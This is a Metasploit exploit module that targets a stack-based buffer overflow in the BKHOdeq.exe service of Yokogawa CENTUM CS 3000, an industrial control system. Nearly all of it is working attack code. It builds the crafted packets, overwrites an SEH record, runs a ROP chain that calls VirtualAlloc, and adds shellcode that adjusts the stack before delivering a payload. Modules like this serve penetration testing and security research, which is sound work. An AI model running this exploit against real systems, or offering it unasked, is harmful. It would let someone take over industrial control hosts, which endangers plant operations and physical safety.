##
# This module requires Metasploit: http//metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote
Rank = AverageRanking
include Msf::Exploit::Remote::Tcp
include Msf::Exploit::Seh
def initialize(info = {})
super(update_info(info,
'Name' => 'Yokogawa CENTUM CS 3000 BKHOdeq.exe Buffer Overflow',
'Description' => %q{
This module exploits a stack based buffer overflow in Yokogawa CENTUM CS 3000. The vulnerability
exists in the service BKHOdeq.exe when handling specially crafted packets. This module has
been tested successfully on Yokogawa CENTUM CS 3000 R3.08.50 over Windows XP SP3 and Windows
2003 SP2.
},
'Author' =>
[
'juan vazquez',
'Redsadic <julian.vilas[at]gmail.com>'
],
'References' =>
[
[ 'URL', 'http://www.yokogawa.com/dcs/security/ysar/YSAR-14-0001E.pdf' ],
[ 'URL', 'https://community.rapid7.com/community/metasploit/blog/2014/03/10/yokogawa-centum-cs3000-vulnerabilities' ]
],
'Payload' =>
{
'Space' => 6000,
'DisableNops' => true,
'BadChars' => ":\r\n"
},
'Platform' => 'win',
'Targets' =>
[
[ 'Yokogawa CENTUM CS 3000 R3.08.50 / Windows [ XP SP3 / 2003 SP2 ]',
{
'Ret' => 0x0042068e, # stackpivot from 2488 BKHOdeq.exe # ADD ESP,9B8 # RETN
'Offset' => 8660,
'StackPivotAdjustment' => 108
}
]
],
'DefaultOptions' =>
{
'EXITFUNC' => 'thread',
'WfsDelay' => 10
},
'DisclosureDate' => 'Mar 10 2014',
'DefaultTarget' => 0))
register_options(
[
# Required for EIP offset
Opt::RPORT(20171)
], self.class)
end
def check
# It forces an huge allocation, which should fail,
# and return back an error answer from the server
# while parsing the packet header.
pkt = build_pkt(0xffffffff)
res = send_pkt(pkt)
if valid_response?(res)
return Exploit::CheckCode::Detected
end
Exploit::CheckCode::Safe
end
def exploit
my_payload = payload.encoded
rop_chain = create_rop_chain
data = rand_text(target['StackPivotAdjustment'])
data << rop_chain
data << stack_adjust
data << my_payload
data << rand_text(target['Offset'] - data.length)
data << generate_seh_record(target.ret)
pkt = build_pkt(data.length, data)
print_status("Trying target #{target.name}, sending #{pkt.length} bytes...")
connect
sock.put(pkt)
disconnect
end
def build_pkt(data_length, data = "")
header = rand_text(4) # iMark
header << [data_length].pack("N") # Data length
header << rand_text(4) # NumSet
header << rand_text(2) # req
header << rand_text(2) # Unknown
pkt = header + data
pkt
end
def send_pkt(data)
connect
sock.put(data)
res = sock.get_once
disconnect
res
end
def valid_response?(data)
return false unless data
return false unless data.length == 4
return false unless result_code(data) == 0
true
end
def result_code(data)
data.unpack("N").first
end
def stack_adjust
adjust = "\x64\xa1\x18\x00\x00\x00" # mov eax, fs:[0x18 # get teb
adjust << "\x83\xC0\x08" # add eax, byte 8 # get pointer to stacklimit
adjust << "\x8b\x20" # mov esp, [eax] # put esp at stacklimit
adjust << "\x81\xC4\x30\xF8\xFF\xFF" # add esp, -2000 # plus a little offset
adjust
end
def create_rop_chain
# rop chain generated with mona.py - www.corelan.be
rop_gadgets =
[
0x63b27a60, # RET # padding on XP SP3
0x63b27a60, # RET # padding on XP SP3
0x63b27a5f, # POP EAX # RETN [libbkhMsg.dll]
0x61e761e0, # ptr to &VirtualAlloc() [IAT LibBKCCommon.dll]
0x61e641e4, # MOV EAX,DWORD PTR DS:[EAX] # RETN [LibBKCCommon.dll]
0x00405522, # PUSH EAX # TEST EAX,C0330042 # POP ESI # ADD ESP,6D8 # RETN [BKHOdeq.exe]
].flatten.pack("V*")
rop_gadgets << rand_text(1752) # Padding because of the "ADD ESP,6D8" instr
rop_gadgets << [
0x61e62aa4, # POP EBP # RETN [LibBKCCommon.dll]
0x61e648c0, # & push esp # ret [LibBKCCommon.dll]
0x66f3243f, # POP EBX # RETN [libBKBEqrp.dll]
0x00000001, # 0x00000001-> ebx
0x61e729dd, # POP EDX # MOV EAX,5E5FFFFF # RETN [LibBKCCommon.dll]
0x00001000, # 0x00001000-> edx
0x63a93f6f, # POP ECX # RETN [libbkhopx.dll]
0x00000040, # 0x00000040-> ecx
0x63ad1f6a, # POP EDI # RETN [libbkhOdeq.dll]
0x63dd3812, # RETN (ROP NOP) [libbkhCsSrch.dll]
0x61e60b4c, # POP EAX # RETN [LibBKCCommon.dll]
0x90909090, # nop
0x63ae5cc3, # PUSHAD # RETN [libbkhOdbh.dll]
].flatten.pack("V*")
rop_gadgets
end
end
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